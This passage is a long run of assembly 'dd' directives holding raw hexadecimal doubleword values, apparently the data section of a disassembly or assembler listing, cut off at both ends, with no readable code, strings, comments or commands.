745ACDEEh, 0DAAE8B54h, 2D5F9F64h, 5D850FEFh, 54702BC9h dd 584576BFh, 0E2A8BB63h, 5E2DCEF1h, 5DCFD841h, 18105DD5h dd 0EFB300BAh, 0D8284304h, 4866E82Ch, 0B17F335Bh, 0EFFE1DAEh dd 0FBF2105Dh, 2DD3ABB9h, 96D85DB6h, 9F2DDB40h, 0E029EFFCh dd 381C4908h, 5A66F50Bh, 3DB4E230h, 99E53025h, 40EE5070h dd 3D6DE44Dh, 6459DFE9h, 7DBB053Bh, 0F8686204h, 1D61AA21h dd 6C335C4Fh, 30BF4E78h, 3C0B86Eh, 20B2F89Dh, 0A180C9FFh dd 0FBB511AEh, 0D3309726h, 0E94B87F4h, 50F701FEh, 6B39A74Eh dd 0A73DCE8h, 0BA21274Fh, 129E02E6h, 0A8DF7AC6h, 7B2D08E2h dd 0D1C703D8h, 7E100A06h, 5628B1D3h, 48CF20A1h, 0DFB9BD70h dd 0A7540680h, 0B8F52903h, 52280925h, 0F6D612F1h, 84EA0F64h dd 73E7AE3Dh, 0E9090691h, 0C471F07Ah, 3BE01E4Eh, 5A944959h dd 2E001E06h, 255C7847h, 690F1CD7h, 0B02D6Fh, 95056762h dd 1014F32h, 9C5B82CDh, 0BCE43E69h, 0C5554487h, 51233E0Eh dd 88E5C04Bh, 0F871CC0Ch, 25E807CDh, 99E928A0h, 0FE2DD456h dd 105CCA13h, 41BA0F69h, 2F7CAB4Eh, 0DA9CA5BCh, 0FF7AB9B6h dd 0B644013Ah, 28F43044h dd 313EB14Eh, 3BEA9980h, 1F7D9B3h, 4B49D77Dh, 5E715D66h dd 0C2494BEBh, 0CA069729h, 0BE4B62B8h, 0BF2D84EEh, 0CA3F1ABCh dd 0E5CEC39Fh, 0D12F805Bh, 9B6841F0h, 0C762781Ch, 4DE50CB3h dd 133BFEE1h, 0F161EB40h, 37EB5E9h, 0ACC38031h, 0D5E8062Dh dd 0E65B01BEh, 60B4A6C0h, 99EC4C80h, 2FDEED10h, 0C20B7DBFh dd 2D5E3970h, 68CF04FAh, 73A2EBCAh, 6BA83A78h, 2D8B409Eh dd 2A4D1655h, 22B155DEh, 0CB053E2Bh, 67F21FDBh, 522E882h dd 96C2EB53h, 0D4F600BCh, 0E573F480h, 0A45ECC34h, 9A47C604h dd 38016802h, 0D3C3969Bh, 6E3FD0C9h, 76171E8Bh, 9862ACAEh dd 9D2D8C68h, 1040A4D4h, 9013C30Eh, 0FA74050h, 0AC9A8412h dd 73E2A537h, 0AA52CBF9h, 0BEDD226Ah, 22C91AFCh, 5DEF52D5h dd 4C09DF20h, 0BE7A582Ah, 7C863625h, 0A05B00A6h, 0FE29C19Dh dd 0D6505F73h, 0C0821C80h, 3DCB24A5h, 72ADF5D4h, 0B6B8DD00h dd 3213A54Ah, 9CB0E0C1h, 0FA2E5BF3h, 2968692Ch, 0B0D75D4Ah dd 6967DE8Ah, 0DF65607Eh, 0A0EE5B0Bh, 966592BCh, 49BAED4Bh dd 0D15559E0h, 888515C3h, 63C38101h, 3AF17D1Fh, 685E3A02h dd 4D6CD749h, 3D81DEBDh, 9CF1C8A7h, 68E9E860h, 88D8BC16h dd 5216CFB5h, 6D7B8B2h, 8393B53Ch, 9819C605h, 0C4FE6268h dd 2D5205C4h, 1947AEF3h, 69F17F77h, 0BAD7BBAh, 4097A6D0h dd 831A4CA3h, 3E7BE1BCh, 1841FD4h, 2B2B50FBh, 69C0EC10h dd 0B5F85528h, 0F5A535A5h, 67206894h, 0EB2926B9h, 3A7603D9h dd 22E936D7h, 73F86E5Fh, 21BF19C5h, 8BF3D087h, 0F759CD1Fh dd 0D5033012h, 8E3CEE38h, 2903E5BDh, 0C42B0AEh, 4B0961E3h dd 74E91608h, 0F1E66156h, 0D1028812h, 3ECC861Eh, 0F010C4F6h dd 0BDF1405Bh, 0AFEC765Eh, 6329FAA4h, 9FB1389Ah, 50FDC400h dd 55F62C7Fh, 23D1975Ah, 0BD2BA810h, 0F988F44Bh, 0C32F9F32h dd 2FC1EFD7h, 0C4F4C201h, 0BCDBB10Bh, 0E6E6043Bh, 0DB392C4Ah dd 16DE3EC1h, 0F7AD3482h, 6210FA10h, 7519A533h, 0D901CC1Ah dd 0F8523917h, 6697BA43h, 0E3342A4Eh, 0BCF7D308h, 0B575850Eh dd 5E786D3h, 0A3978FAh, 7E1C803Ch, 6F769774h, 4D94C906h dd 3D186BE1h, 46959EBh, 63472701h, 82C8D445h, 55C6F1CBh dd 154308C2h, 7940EBE9h, 0C1F30088h, 680B764Eh, 0FD435AD4h dd 75D889C1h, 3EB81A01h, 0B869C666h, 0E2AF05E4h, 3FD79F91h dd 95F00184h, 1D571F60h, 0DF60C46h, 520FF58Fh, 668523A6h dd 22FE277h, 288F2CF2h, 0F4C08984h, 7597E8C1h, 6E3BF5B9h dd 0BDB6E500h, 1E06F680h, 18528D2Ch, 28DB1098h, 65AF034h dd 0F9B6C7AAh, 0B8683AC8h, 2298545Fh, 10C4AE9h, 16EB80DEh dd 72066E28h, 0FE175AABh, 0FE200226h, 65B0685Bh, 0DEB720A0h dd 27FEFC0h, 20BDC74Ch, 0E45D60F9h, 1957063Ah, 19EB013Fh dd 581CB641h, 0C427B26Fh, 7A1BE3A9h, 7B0998AAh, 7364084Fh dd 5FEA3009h, 0DFE97C51h, 5C020A94h, 2863F280h, 0DD517DD0h dd 0FCBE4034h, 63B0A0CAh, 13CEDC88h, 0B154A934h, 283433E9h dd 1AB12568h, 7EFC88C6h, 5557FE1Ch, 0FF1293A6h, 0C04AAEF2h dd 0C666C149h, 92691ECFh, 0ADC20EE8h, 545F6052h, 0CBCE01CFh dd 5153C54h, 4330B7E1h, 911F125Ch, 7FFA0143h, 7C38D650h dd 0D3E90A94h, 8996C479h, 7C2F54F8h, 0DCA586D9h, 505B8F4Fh dd 9EBD56E6h, 535A5400h, 781260BBh, 0B9CCFA76h, 30F10337h dd 0B0107959h, 5F2596C4h, 2544C77h, 2FC52750h, 6C7C18E9h dd 2CD0F602h, 0C79AA301h, 0FFD7CA58h, 37806C87h, 90633F95h dd 0F881DE2Ch, 5C843A04h, 240F7DEBh, 0B705531Dh, 0D15AE9A5h dd 0C4AAC453h, 5EB1F3A0h, 0FF7574AAh, 0AB2AD4F5h, 0F07E1C39h dd 0D75DCE6Fh, 53B31656h, 0A91792B3h, 0C731AF3Eh, 82973BF9h dd 0CFDE00D1h, 62E6501Dh, 0CA01F7ECh, 0E9C47F4Bh, 0A85010A7h dd 2F3645F2h, 30F52431h, 0B7FB29D7h, 1C658FDCh, 508002E9h dd 0DA5265B8h, 0B1BE5E3Ah, 0C6310A56h, 97A602Bh, 7E9F1C77h dd 0B2C6C3B3h, 685FD40Fh, 0E9CC3256h, 0BD420059h, 84A352Ah dd 40165299h, 20F1EAE9h, 891E789Fh, 0D35F5E2Dh, 0CF4689A9h dd 69EF2EDCh, 25DE782Fh, 41D95566h, 3A73E941h, 3DCE3787h dd 8032D425h, 0AE5C92FCh, 4E85048h, 5E5A4AF4h, 2C1E03A0h dd 74B35AFh, 97EF0A3Ah, 0BB0864C1h, 0F5CAE6C0h, 12823370h dd 0A3E114AEh, 0CC822FD4h, 898F4031h, 0AFE93EF7h, 11E87863h dd 38FDAD00h, 9745CD2Ch, 0E0280F17h, 34E0DCC0h, 0F59B0551h dd 0D7BF0F17h, 3508240Ch, 77AE0FA8h, 0CB2934C2h, 4C5A89D8h dd 0BD23B4C0h, 442D00CDh, 0E24ABB06h, 810C0764h, 0DC769EBh dd 0C34000F2h, 31FF5D75h, 0F303B70Fh, 6D958B58h, 813A0128h dd 1FA6A8E8h, 81FBF138h, 0F4D3E210h, 0DE316066h, 0E3CF8B80h dd 2FA2CD83h, 80870203h, 0A790B1D2h, 81618EA0h, 0FC6303C0h dd 6E82C08h, 8BD53700h, 0EE6834E2h, 4EE60081h, 5F099EEAh dd 85728950h, 8F861F64h, 0E9838981h, 0FBA618D3h, 9D890249h dd 242A7534h, 291E86C6h, 18FF1485h, 36B60B1Eh, 0C8D8BB00h dd 5FD6F179h, 25D0044h, 0BE69B1DDh, 73EC3845h, 0C678E92Eh dd 0AF493383h, 0B5128090h, 6CC60060h, 55A53ED0h, 0DF0077E2h dd 0C94FBF27h, 0F54CE68h, 6FAC59A6h, 607E9387h, 57CA6BC7h dd 0EA8BA103h, 0E2277377h, 1049E0Bh, 77D66843h, 8F154810h dd 0A091E618h, 1F4846Dh, 7C770Eh, 521734DCh, 0F3031079h dd 0E726700Eh, 0ED29390Dh, 19447F08h, 0CFF244EFh, 10D912FFh dd 0DB891B3Bh, 12EF9108h, 42FD20C5h, 0A90F141Fh, 0A0CA94F5h dd 9F1E3948h, 0AB8700DAh, 213A4F11h, 8E0F14AAh, 0A99EA4h dd 8A590E55h, 0B59A07A0h, 23045F2Eh, 0FB9023FAh, 350EF57Ah dd 8B1D221Ch, 0E835005Ah, 56F338h, 0EB7C8E50h, 0A2B42F0Ah dd 15F6E703h, 0A09069C2h, 7CC339BBh, 0E5830062h, 65BFFBCEh dd 42005CBEh, 573D3FAEh, 4E3CA7h, 3534F90Dh, 0FB54505Eh dd 1000A376h, 5D70637Bh, 38A96261h, 7F68E21h, 0E3980FF0h dd 0E252B078h, 31002A03h, 9D59844Eh, 24E5DCh, 96331C0Dh dd 1EB0D28Ch, 738AFEA0h, 66BA7F07h, 60200510h, 3913FBCCh dd 7FB7D51h, 0FC3CACD1h, 0BD6560F8h, 22EE4726h, 2F6EE900h dd 33036473h, 0ABA200A8h, 7D687278h, 0BBF0E415h, 102E5B24h dd 5F823C00h, 3935E954h, 88800AD4h, 1ADF5E79h, 5107EBC8h dd 0EA617A8Fh, 0DDE4CDF2h, 4E95B2E0h, 0E0CA9900h, 9F6EF5DAh dd 15BAE444h, 0C03B3A63h, 5D61DC02h, 4DE0FDC2h, 12004825h dd 0AA14E2FCh, 1834282h, 0E39A24FBh, 6092E5C3h, 1B00CE3Fh dd 31D826B0h, 0FCB98875h, 0AD1D0035h, 8750C1B5h, 0FD0005B8h dd 0C9E4F6F2h, 1DC88E91h, 0AB24B6h, 472C2F1Dh, 0DB002B7Fh dd 70746B7Dh, 0EEA1B29h, 0FB4111EFh, 774D1640h, 2701BDB2h dd 5E9B6087h, 98217A6Dh, 0E4A353F4h, 0F0EE00F7h, 0A15569DEh dd 0E700F951h, 5C6ADFEFh, 5CFC50A2h, 1E01329Bh, 0ADA0AC2Eh dd 7A4CF47Eh, 0B203A0Eh, 0CF0F3EE4h, 0D8228CD9h, 0D7113F2Fh dd 0AA15007Dh, 1AF0A39Fh, 6D7D4CC9h, 0B210A060h, 38AD020h dd 0C4E4D80h, 62C0CFFFh, 0E41CE1BEh, 75042E3Ch, 0F090BF05h dd 1495AEAh, 61814595h, 0C43C124Eh, 0FC00F1F7h, 0AF8063CBh dd 16E093h, 322109DCh, 0D66918E3h, 4F78B300h, 42F7EC26h dd 84EA4814h, 8581D500h, 21133353h, 96AFB71Eh, 1250AD06h dd 0E8600770h, 90E324DAh dd 3693E680h, 1C2E3000h, 8DCE40CBh, 909C006Eh, 0E29B21DCh dd 0C6017887h, 1344F01Ah, 89ECC90Dh, 7E980052h, 0AB7A012Ah dd 6A1DA173h, 0F0C3427Fh, 0B0A758E6h, 0AE9E79h, 0B968758Ch dd 0FA3C3DF1h, 1BA27000h, 1EDB0564h, 99AC03BCh, 3E28409Ah dd 0FCAE1000h, 39E3D2E1h, 0BB43003Ch, 2D0A2C27h, 0D4F3F0F9h dd 20EFDF24h, 0FE04C07Ch, 0B965D7E3h, 0C8042C93h, 9E5BE1h dd 1BC57843h, 586EE4EFh, 5A694900h, 2220EE75h, 0D4B6002Dh dd 2B02E186h, 0C6043318h, 782F2637h, 15E87C80h, 7008431h dd 66A78E08h, 379A620h, 45293F99h, 0D2C8ED13h, 6015C9CCh dd 48FC3C3Bh, 31DB032Fh, 0F09F6C6Fh, 2EAE086Eh, 6A53FD4h dd 100BD846h, 0DEEE641Dh, 13286780h, 4C267209h, 7B00A77Eh dd 1E499A75h, 7A0E5AEDh, 3EE1CDDCh, 72D3000h, 38EE17h dd 0A84D9B25h, 83328E6Bh, 0E8E95F28h, 0A6302E00h, 285A1C21h dd 2A1D0397h, 2BD3B8C3h, 0A8E9C09Dh, 0FF09F41Eh, 0B1F33Ah dd 3F60F25Ch, 6E23307Ah, 887C9310h, 16385203h, 0E00D08h dd 9A450EE0h, 6C425068h, 801BF002h, 802837A0h, 0D4F664C8h dd 7DEA09F9h, 0DC90B79Ch, 0C50E1DDDh, 408E7672h, 4757074Dh dd 0A1E0096h, 0BEB92406h, 0FA00DAF2h, 1A8564CDh, 0A844D6h dd 0A3716149h, 2803661Ch, 8F9CB002h, 60CAB799h, 0E1EF8D8h dd 4E3B437Dh, 0D4595058h, 92B33D00h, 77D99909h, 405C6F4Dh dd 2A95FA80h, 0D80018C9h, 867DCA4Fh, 7889778h, 0A5F7BF55h dd 644EE168h, 57282066h, 72DD3Ah, 657C40FFh, 0ED15D2h dd 0C4489376h, 52F54E21h, 9E00BBEEh, 32A985E4h, 26B9C5h dd 0AD209861h, 1094D3ABh, 9501BC90h, 16CD82B8h, 0F8CB2B38h dd 0C77CBEh, 392E2D1Ch, 0CA7DC5AAh, 18A2FF0Bh, 8933846Ah dd 15A7F380h, 401B0066h, 8DA9C07Dh, 0BB7FC939h, 41106C0Bh dd 0B538005Bh, 1C9D85A6h, 409E9767h, 0AE56CE4Dh, 304D8861h dd 80813CCCh, 2ADA0EE5h, 0C06FE91Ah, 1842FA40h, 27003916h dd 0F3EF5BBCh, 56F403h, 0CF7B8B4Bh, 7CC609D5h, 0F9D08901h dd 28C181A2h, 2580D9BEh, 0DBB23116h, 100E487h, 0A83B302Bh dd 3DD57AC0h, 4E00420Eh, 0EE942683h, 7190BF9Bh, 0B10C2700h dd 1BB97EAh, 0A62D5C3Ch, 0E374D0Ch, 56E6D7D9h, 61264490h dd 0C38C8C52h, 90BB7676h, 5B8817A0h, 298D0093h, 0BA54A385h dd 0F25D18C7h, 0FFC07FB0h, 307E0EAh, 6D6B481Eh, 39B858B1h dd 0B8026287h, 7DCD724Ah, 0A7484009h, 14DE1FA0h, 42D95FACh dd 7B5A610Dh, 32B1D460h, 0FF035809h, 75D8A1E8h, 0FDFC549Fh dd 0A96A00C1h, 36BFEEC3h, 0E7011865h, 2A669B7Ch, 0E8E78088h dd 5050F946h, 0E8A853h, 525DA455h, 162E56DAh, 3AE4B748h dd 69EC80DDh, 7B5CAF35h, 0D83600C1h, 0A52925F2h, 89755A2Bh dd 59965402h, 40D566F0h, 0E0ADEE8h, 0CE6A8CB0h, 40625C1Eh dd 28F7EF35h, 1150FEF5h, 0CB00DF9Ch, 6E754A2h, 121295DAh dd 40C11C0Eh, 0D2D802BCh, 8C907C9Bh, 0B960DE75h, 1FA71450h dd 2665E8D1h, 3309DF9h, 8C9878CAh, 2BAB619Bh, 0AA7DB1C8h dd 0AD84651Fh, 0D42C9F87h, 0DBEB1823h, 3CF3C040h, 0E27500A8h dd 37E730C2h, 900053BBh, 1133A5BDh, 0B82335h, 99675257h dd 9BC832DBh, 28398E00h, 23CE2436h, 792207D2h, 0C0DA5F86h dd 1668195Eh, 6100067Ch, 0D823DBE9h, 0FE38270h, 0C57D9F51h dd 15000E09h, 1E6F4D9h, 378C6300h, 0C0FAD194h, 7159030Bh dd 11DE856Ah, 57541ED0h, 4B9E4400h, 0F812CD70h, 9A6102DBh dd 0CD16C47h, 1D052CC0h, 6ABDE812h, 0C0275000h, 2A6B626h dd 0BCD038B4h, 2C60494Eh, 0D03D581h, 719848F7h, 7ADA00C7h dd 0CFF6E9FCh, 5101877Bh, 0B91F1135h, 108098ADh, 0DC9D5A37h dd 0C0BDF384h, 0E8ECF248h, 48B066h, 2116A832h, 0EEB4ABD3h dd 0EAC9F904h, 0A3295Bh, 98675BCh, 8190C2AAh, 0D03E30A4h dd 192DA7E0h, 9F1CEC13h, 0D0883800h, 0F644DB60h, 407B601Ah dd 0D9373FBh, 9EC2962Eh, 22A78800h, 0B1D5D21h, 1B1FB0E5h dd 8290DA00h, 0F100B4AEh, 0BCBD474h, 3F8767FCh, 5D0058B2h dd 0BEDE71E9h, 5C00919Ch, 3D10D33Bh, 580A5F1Fh, 74B821h dd 36AD58B9h, 0B73465Ah, 0BC389160h, 0B881B12Ah, 0AB6D2635h dd 19460084h, 70EA1F39h, 876E5838h, 0F0A5CBB0h, 138CA6A0h dd 48980Fh, 3E08BD4Fh, 0A97FB040h, 67F24E00h, 6AF45FCEh dd 5D1C04D9h, 975CD809h, 72B7E08Ch, 0F3602377h, 0EE5F8C28h dd 96480059h, 0AA64A174h, 94982E70h, 0C323D800h, 595B7395h dd 4E92CFFh, 0AD640052h, 86BCC838h, 4111B400h, 82DE9B58h dd 43D0C34Ch, 74EB38F0h, 6C7D4298h, 78965300h, 0BB49F3D2h dd 2EFE009Bh, 33AF9EACh, 8B30B9CBh, 0DB55487Fh, 93370047h dd 2FB8CA94h, 0E401FAD2h, 0A912CC08h, 0ABF88B83h, 6B7086h dd 20E25D77h, 7BD4DDCAh, 5153B116h, 0D7037813h, 3C41A3FBh dd 19872490h, 90824F15h, 0E8FAD78Eh, 6071300h, 0D481849Dh dd 0F4650998h, 0F0A44C53h, 0B9E5013Fh, 14214ABAh, 6EE420h dd 8E788AB5h, 723E546Ch, 0D67E7125h, 65B905A5h, 62B400D7h dd 0D50D5CBh, 0CD43F901h, 57116940h, 35A2EC40h, 0DD193AADh dd 30F60F1Eh, 0B0AEB7F8h, 9EA7D00h, 31AE936h, 78BCF510h dd 87974280h, 0EE6915CEh, 0D0CF5104h, 9C9022DBh, 915E8Ch dd 64E56D52h, 3CD39B5Bh, 8D00F1FCh, 36316E9Ch, 0CB9392h dd 91C7D903h, 1644547Ah, 8499F81Eh, 7E070F00h, 6EC08Ah dd 0EEDFEB6Dh, 6F5F6BEDh, 0ABD600Fh, 1FC6A0BCh, 2C0F4Ch dd 0B487D3B9h, 7C26992Ah, 4FB36D00h, 0CAD93D79h, 3B110457h dd 80150BA6h, 20B1975Eh, 647FC0A8h, 7A6FBC00h, 1679AF1Eh dd 0CDF28Fh, 470C8734h, 0FE50D49Bh, 0E526F0B0h, 7E07CAC5h dd 97300678h, 0F89A24CFh, 4CAA0784h, 21A47A60h, 0E84A917Ch dd 0A84C808Dh, 1C3D0153h, 0FC04F562h, 0BC1830h, 5EA68E9Dh dd 952C1BB8h, 8033EC00h, 16BA09E5h, 0E3FB000Ah, 7E04FEF0h dd 7600A129h, 0F8F317C8h, 584A5CE5h, 41059291h, 0C04D1112h dd 1C6D13A4h, 3F0099E6h, 0EB21432Bh, 4F7F3Dh, 0E841166Ah dd 0A41BAF33h, 2017A17Bh, 0E400F2ABh, 0FCC35C82h, 686F0FECh dd 4E007EAEh, 5175E320h, 0DF0094E4h, 0B4F1EE5Ah, 1EA9497Ah dd 83D1A46Eh, 0FF3C0FD6h, 7F21EB90h, 1D345600h, 0C2153529h dd 0D865070Ah, 5F486433h, 90814760h, 34012A37h, 7E41FC12h dd 2C349D70h, 198F4F3Ah, 70A954DCh, 0F80169ECh, 0D6E69329h dd 607487D2h, 33E828h, 0B18176D3h, 29098678h, 0FCC22414h dd 8A3400A0h, 2B9845Fh, 3A0300E0h, 0B5886386h, 43BDF0Bh dd 28613D3Bh, 810110B7h, 8B88760h, 77F805E2h, 0C9EC0507h dd 8045CAE5h, 71F9FFDCh, 6BB1A500h, 5034EDF4h, 80220081h dd 66AAD1FBh, 2B00FA10h, 0B0C467A2h, 0F1348D5Fh, 0AA73D08Fh dd 1332079h, 5BD143FCh, 5A8407D0h, 8E580F0Fh, 10052B20h dd 48FA8397h, 0E67C77E8h, 0E85CA400h, 47E2C663h, 0A6820049h dd 4FEDCEFFh, 74772880h, 3694D900h, 0AF96D27Fh, 0D0010F4Bh dd 0FA77A77h, 83EC4097h, 0C500B67Bh, 0C3E4C813h, 707D7617h dd 878503FFh, 14441BA7h, 46AE1D0h, 1CF408C0h, 5B306h, 7B7AA7FBh dd 97407D84h, 0CFFF860Ah, 0FE98D877h, 70FC60D0h, 0CD1500Ch dd 82EC00F6h, 0DA4B9F92h, 43E49F4h, 0B365007Ch, 0FD62DC71h dd 6C41C7Bh dd 7611C3C7h, 5F907DECh, 360023E0h, 40C325F6h, 0AADD7h dd 20C7B847h, 95574B39h, 68F63872h, 89B02B01h, 995C7471h dd 187B850h, 58302CC9h, 361D3CA0h, 33B42A02h, 0DDA1D0F4h dd 0A349FEC0h, 14033619h, 6DD07521h, 11416067h, 8D5AB18Bh dd 1C7B9028h, 0F4C4370Ch, 6F31197h, 0F81AB265h, 9106812Fh dd 3A5C51AEh, 0BCA70211h, 86AC8240h, 4BE82700h, 811021B9h dd 0AC00703Eh, 2DB726A7h, 90035C0Eh, 91B88044h, 90A2C7Eh dd 16B240Ch, 0F8D24188h, 74118710h, 5F9045E6h, 778D19h dd 7022EC4Bh, 98C17D2Fh, 88843551h, 3E45E360h, 0CFCDC1Eh dd 66100EDBh, 0A0F11F6Eh, 8E095C72h, 0C2D4008Ch, 55EAF136h dd 5F04A826h, 314739B2h, 0FC952180h, 28161DD8h, 0A888B0C0h dd 0D5606A40h, 0F7F47148h, 32450CE1h, 0B2E8968Fh, 9F1E0378h dd 7D41846Bh, 9EDD1BB0h, 648C1083h, 87BFAE4Dh, 0A391C3B2h dd 0B0341903h, 0E08906E0h, 75C8D44h, 8A3E8764h, 80A07A10h dd 789D156Dh, 2D0061A1h, 83A7E107h, 0AD89CBh, 0CA8D31FCh dd 168A84Bh, 0E016A300h, 0A485668Ch, 0B88263D7h, 1806A2FDh dd 0A03CF894h, 6DAA14D0h, 9D22DC0Dh, 68A9090Ah, 5C09A836h dd 37F0104Fh, 51490FCEh, 91A0FB26h, 4A770405h, 0E9E64600h dd 52C42286h, 875D06A7h, 387DA55Ch, 3907DD00h, 0D430B475h dd 0D0D3F366h, 0DFE278h, 47B99DB6h, 0AC35BF41h, 66CB1501h dd 2BB427B1h, 0F0C23FECh, 0C04307A3h, 401857B9h, 0D71DA058h dd 40014CF0h, 0F9A92CCBh, 0B6D062C5h, 0BA611CE2h, 4A80BF13h dd 9E549D24h, 6207D940h, 28B719B8h, 2700E7EAh, 2BCE3DA8h dd 38295715h, 3DA70507h, 18948ECFh, 8D302A8h, 131A191Eh dd 0B4EFC0B0h, 3D440635h, 30A7499Dh, 0B0430200h, 13A427EDh dd 0A0567DEEh, 69E31FEh, 154BD44Ah, 1F1ED1FBh, 240D55F0h dd 980239CDh, 1804BE14h, 101A9334h, 44009A42h, 631B0302h dd 0E2F82B20h, 0B2989Fh, 5B976539h, 1661EDBAh, 148330DEh dd 1E98C76Ah, 0A12B318h, 3D08CB8Ah, 18B69E00h, 0DF551C46h dd 0B144C30Ah, 0BC002C0Fh, 5967D8Ah, 680CAC1Bh, 0E70C882Ch dd 75309CADh, 0A746140Ch, 30815853h, 0ED79B739h, 8FE59A8Eh dd 59B52041h, 40981DE8h, 0A13E1930h, 20788E54h, 58C5B328h dd 21BF6643h, 5990DF6Eh, 7529C8EFh, 527E2280h, 9C3E201h dd 0C021E114h, 0F240CC20h, 28C08EF1h, 7E4D6235h, 5038E8B3h dd 38B00CD2h, 0E44945AEh, 88517F00h, 22BA58ECh, 5F3A787Dh dd 719814A2h, 0C9D040Ch, 0FC90DB99h, 3FE285Dh, 389FF463h dd 0B8D02AD8h, 85033D7h, 313B90Ch, 14459A34h, 58009E1Ah dd 42E57397h, 4464A718h, 0B578475Dh, 0A8272062h, 4010BC8Ch dd 0CD11B890h, 9C607754h, 969E3080h, 0B3F0AB93h, 0F832EDBAh dd 5FE08244h, 625C6115h, 0B7482009h, 0DE403B8Bh, 71C0E1B0h dd 59521958h, 8DE2228Ch, 621740E4h, 394C7E59h, 0A398997Ch dd 0D1908809h, 0B5BD8CF7h, 0AF119468h, 54583B2Fh, 9E886329h dd 12A0A649h, 0DA6408B9h, 40EABC41h, 0A22FB110h, 0D2E01C54h dd 0C7CA124h, 134A0164h, 998FE680h, 0E280C8Ch, 0B5168CE4h dd 42ABD73h, 3381C585h, 0E014ED88h, 21F49D3Eh, 769E0A24h dd 6A134094h, 6092C4F4h, 0D6C27E09h, 0D2810E1h, 80148215h dd 0C99A3E3h, 8C08B20Ah, 0C8125A17h, 0AF840C3Fh, 12357C53h dd 3275CE08h, 802899A8h, 8C999E53h, 844240Ch, 6ABC1254h dd 0F55A889Ch, 0B1D9DC10h, 0C8A027B0h, 0D4C058B4h, 0C21DF12h dd 0D884144Ah, 0BF74106Bh, 5061D5D7h, 115C2F2h, 3404799Ah dd 565194AEh, 0AC21D6A8h, 7994DD3Dh, 30D5D879h, 6558937Ch dd 6A4C5280h, 97519C2Ch, 0DFB0C8AEh, 0E2207883h, 47100317h dd 0E5CAB7BDh, 460FAFC8h, 7818726Ah, 0A784D08h, 40CC205Fh dd 0A2BD9A83h, 0B52618C0h, 630215E6h, 0A839702Eh, 629244E4h dd 2C229C10h, 43C7A53h, 0CE7CAC09h, 70E81479h, 4804F53Ch dd 0D8952547h, 0AA043C47h, 78D4C669h, 0E06E40E6h, 0E90C7300h dd 0D423B0EBh, 0F05975F8h, 0F637C5Dh, 2A4C02F2h, 7150585h dd 0C2F12014h, 24E0FB58h, 18125BD5h, 4C2C61C6h, 4CC24CD0h dd 58C08008h, 206E3503h, 243875F2h, 26BCC5AEh, 0B52A0404h dd 0EE5102E1h, 0C89E03A1h, 10400EFAh, 4488DD7Ah, 484914A6h dd 87E12088h, 779218A6h, 7701F18Eh, 301FC16Bh, 18981A94h dd 0C09E892Bh, 0C402F512h, 68A19847h, 2E507D24h, 3CE0BD8h dd 51CB479h, 21A80830h, 0D848E2h, 4463D127h, 1157A1Eh dd 4086AE03h, 38C59D2h, 80A91858h, 0EC90565Eh, 89001261h dd 3DD4693Ah, 0F6D0FCA6h, 0AD821942h, 20123073h, 0E0BA9298h dd 6E5BBA12h, 8319A806h, 47B0A020h, 0BC9A3Dh, 78E3D014h dd 25F15DAFh, 0E1371919h, 2180EA08h, 7278EBF6h, 427BF84Dh dd 4874C931h, 0C99C97BFh, 886F47C1h, 0A04C70A9h, 0C9004741h dd 0C5BCA490h, 50A61905h, 189F464h, 495A5BBBh, 602CA380h dd 35262554h, 199CA4B8h, 42EA73C0h, 1DA1DAB1h, 12D4593Ah dd 0F8EC4015h, 40747547h, 0BAB3280Bh, 0E6DC01B9h, 643518E1h dd 16211F8h, 81327E5Ch, 98FA95C5h, 5B216F08h, 0C2623829h dd 1E9A8F00h, 0C55ACF4h, 0F1DC9B30h, 0C0C51AE1h, 87CF6391h dd 5D036156h, 3D640FF8h, 652900E1h, 0AD73F003h, 0FE007BA4h dd 0F2EFF33Ch, 0E59FC9Fh, 0EAAE2645h, 47ED0E40h, 0E4010704h dd 1C0DB651h, 0D5C478F5h, 5DBC0573h, 167A228h, 5E185F90h dd 88C4466h, 0EAC048D4h, 435DB078h, 0F2F580E9h, 70978h dd 762B3A6Dh, 3E647148h, 2A50A265h, 73B3B460h, 0A94223E7h dd 3001D11h, 0B8CF754Bh, 0CE1E61D5h, 541DFFBDh, 2C079B87h dd 0F76CBB50h, 0BA960079h, 41DD2F81h, 7F300CB5h, 105F91B8h dd 0D80D6122h, 0D689F28Eh, 0F0FF7861h, 768079DAh, 0B630793h dd 101A4518h, 0AE1688C8h, 35C57400h, 982C755Dh, 145A02B3h dd 950CECA7h, 75023090h, 0B554F80h, 170420E1h, 122B3420h dd 134C72E5h, 605F3028h, 0BF12F03h, 3E25A15Dh, 9EC17490h dd 0AC4B8E00h, 0A05B0881h, 0B65909C4h, 3024B407h, 621260EFh dd 4A7E235Bh, 5A007111h, 0A33F622Ah, 0A70096BCh, 0D6F8E730h dd 8198BED4h, 11D0E4B0h, 4D64490Fh, 0EA6B0065h, 30AD91FBh dd 0ED491A46h, 2005B85h, 7CAE1105h, 6E014h, 0C5CDBDD4h dd 91359EA7h, 2E8E2507h, 6B01624Bh, 50300D28h, 7EB812B3h dd 19012A7h, 9C0C4700h, 0BFF18CCDh, 6689B0h, 0F53323E3h dd 0BB419B1Ah, 43B2E402h, 0C0802648h, 6CC2E3F4h, 61495017h dd 8968F302h, 60C67F7Ch, 52787Ah, 0AE93FD2Fh, 7DD39E17h dd 318D4B0h, 1C699F38h, 5BE100AAh, 897FE909h, 0A8C1139Ch dd 0AE8063EDh, 4E791DDCh, 7E4C4098h, 0CC299366h, 0C7464100h dd 0D2ACADEh, 9FC90A9Eh, 0C0C8F0B6h, 7E5E6213h, 0B224246h dd 622B590Ch, 2E916417h, 87AC980Ch, 83DCC814h, 1109019Ah dd 2022185Dh, 737851C4h, 0A81660E4h, 26C5402Dh, 85AA1A01h dd 714A105Dh, 11D428A9h, 78E88156h, 31DE5DB2h, 0F0FB10CEh dd 90650078h, 0BBC889C4h, 2700407Ah, 0F9AEB4CAh, 243F46BDh dd 543620h, 0C2AF0B88h, 0CC7B619Dh, 313F0A4h, 0E4979B5Fh dd 1D0F8C2Ah, 0A23C40DFh, 4CD989C0h, 9816D47Fh, 7010CCA0h dd 0AD6FBF04h, 7CC2EDFCh, 95C02AB3h, 0E61EA080h, 7E747E57h dd 185CB235h, 491941AEh dd 0AA0470BAh, 22E14D09h, 62094A5h, 2109E91h, 0DE822863h dd 0CEB090E3h, 884C2656h, 40BF038Ch, 758CDFCCh, 22988980h dd 83EC3D4Ch, 0E1E2CC9h, 6BC29071h, 0F267002Dh, 7D1A04CFh dd 7000BD25h, 204D4FE7h, 34749EDh, 660C525Eh, 88A8E50Eh dd 18929DADh, 0D02F246h, 127E5062h, 57100A31h, 6A006225h dd 